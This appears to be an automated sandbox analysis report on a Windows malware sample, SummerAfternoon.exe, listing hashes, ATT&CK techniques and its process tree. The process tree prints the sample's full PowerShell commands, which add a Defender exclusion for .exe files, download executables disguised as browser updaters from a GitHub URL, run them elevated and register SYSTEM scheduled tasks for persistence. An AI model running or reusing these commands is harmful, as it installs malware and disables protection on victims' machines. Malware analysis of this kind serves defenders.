7af523d7bd6711f0003e519c5480c5b95416ce61d098df26ae3f046f769d8aad

General

Target

SummerAfternoon/SummerAfternoon.exe
Size

105KB
MD5

3969fb2b3f1aba78dd50c3cb6b4e2137
SHA1

b6fbd3cebda92a633369cbb979147ab645374d3b
SHA256

9895f823394e434bb9a8ae10a3086960e5d60b10ef5c3877e4bed7b9411a9710
SHA512

48b83334c8318c83c9122c44a26b02074c45bfed5ebd845b8ae4cc23957bda875473390ab2f91e46632eaef246c498ca63a3ef2df24771758296646bb4fb7c4e
SSDEEP

3072:9GbNdhPc9aHE6j7F7I6jmBJqUYfWcE/ishP7KIz1+Km/J:9GbNdtc9wdh7T6bqUQo/ish+s

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2608	powershell.exe
2824	powershell.exe
2412	powershell.exe
2408	powershell.exe
2444	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1448	schtasks.exe
296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2412	powershell.exe
2408	powershell.exe
2608	powershell.exe
2824	powershell.exe
2444	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	2408	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 2608	2604	SummerAfternoon.exe	30
PID 2604 wrote to memory of 2608	2604	SummerAfternoon.exe	30
PID 2604 wrote to memory of 2608	2604	SummerAfternoon.exe	30
PID 2604 wrote to memory of 2412	2604	SummerAfternoon.exe	31
PID 2604 wrote to memory of 2412	2604	SummerAfternoon.exe	31
PID 2604 wrote to memory of 2412	2604	SummerAfternoon.exe	31
PID 2604 wrote to memory of 2408	2604	SummerAfternoon.exe	32
PID 2604 wrote to memory of 2408	2604	SummerAfternoon.exe	32
PID 2604 wrote to memory of 2408	2604	SummerAfternoon.exe	32
PID 2604 wrote to memory of 2444	2604	SummerAfternoon.exe	34
PID 2604 wrote to memory of 2444	2604	SummerAfternoon.exe	34
PID 2604 wrote to memory of 2444	2604	SummerAfternoon.exe	34
PID 2604 wrote to memory of 2824	2604	SummerAfternoon.exe	38
PID 2604 wrote to memory of 2824	2604	SummerAfternoon.exe	38
PID 2604 wrote to memory of 2824	2604	SummerAfternoon.exe	38
PID 2824 wrote to memory of 1448	2824	powershell.exe	40
PID 2824 wrote to memory of 1448	2824	powershell.exe	40
PID 2824 wrote to memory of 1448	2824	powershell.exe	40
PID 2444 wrote to memory of 296	2444	powershell.exe	41
PID 2444 wrote to memory of 296	2444	powershell.exe	41
PID 2444 wrote to memory of 296	2444	powershell.exe	41

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SummerAfternoon\SummerAfternoon.exe
"C:\Users\Admin\AppData\Local\Temp\SummerAfternoon\SummerAfternoon.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "Set-MpPreference -ExclusionExtension *.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "Invoke-WebRequest -Uri "https://github.com/HillbertDev/InsertNameHere/raw/main/1.exe" -OutFile "$Env:LocalAppData\Updates\firefox_updater.exe"; Start-Process -Verb RunAs -Filepath "$Env:LocalAppData\Updates\firefox_updater.exe""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "Invoke-WebRequest -Uri "https://github.com/HillbertDev/InsertNameHere/raw/main/2.exe" -OutFile "$Env:LocalAppData\Updates\chrome_updater.exe"; Start-Process -Verb RunAs -Filepath "$Env:LocalAppData\Updates\chrome_updater.exe""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "Invoke-WebRequest -Uri "https://github.com/HillbertDev/InsertNameHere/raw/main/3.exe" -OutFile "$Env:LocalAppData\Updates\ms_edge_updater.exe"; schtasks /create /tn "EdgeUpdater" /tr "$Env:LocalAppData\Updates\ms_edge_updater.exe" /rl HIGHEST /sc ONLOGON /ru "SYSTEM" /f; Start-Process -Verb RunAs -Filepath "$Env:LocalAppData\Updates\ms_edge_updater.exe""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn EdgeUpdater /tr C:\Users\Admin\AppData\Local\Updates\ms_edge_updater.exe /rl HIGHEST /sc ONLOGON /ru SYSTEM /f
    3⤵
    - Creates scheduled task(s)
    PID:296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "Invoke-WebRequest -Uri "https://github.com/HillbertDev/InsertNameHere/raw/main/4.exe" -OutFile "$Env:LocalAppData\Updates\system_updater.exe"; schtasks /create /tn "SystemUpdater" /tr "$Env:LocalAppData\Updates\system_updater.exe" /rl HIGHEST /sc ONLOGON /ru "SYSTEM" /f; Start-Process -Verb RunAs -Filepath "$Env:LocalAppData\Updates\system_updater.exe""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn SystemUpdater /tr C:\Users\Admin\AppData\Local\Updates\system_updater.exe /rl HIGHEST /sc ONLOGON /ru SYSTEM /f
    3⤵
    - Creates scheduled task(s)
    PID:1448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VHZSEA2GXM7NB21I6ZZR.temp

Filesize
7KB

MD5
4f89019d3f71d02108ee020cb85c6b2b

SHA1
7c7f34ba42c545590f1b823e1045c5ac0796719c

SHA256
ecbc72354af055626356626fc89d97515b3d8fa818716d765705c1f9825940ea

SHA512
a7f362acb8a1418611e36da3a0c6a2b6ea8a856c131b5ea2fa1255ec9140e30241604afd9cfd73fe37dcf10f85d941d2b8f6a20785a4128b76b3349b032fc85c

Download Submit
memory/2412-23-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2412-29-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2604-0-0x000007FEF5AF3000-0x000007FEF5AF4000-memory.dmp

Filesize
4KB

Download
memory/2604-1-0x000000013F690000-0x000000013F6AE000-memory.dmp

Filesize
120KB

Download
memory/2604-2-0x0000000000770000-0x000000000077E000-memory.dmp

Filesize
56KB

Download
memory/2604-3-0x000000001B410000-0x000000001B4A0000-memory.dmp

Filesize
576KB

Download
memory/2604-4-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2604-5-0x000007FEF5AF3000-0x000007FEF5AF4000-memory.dmp

Filesize
4KB

Download
memory/2604-6-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads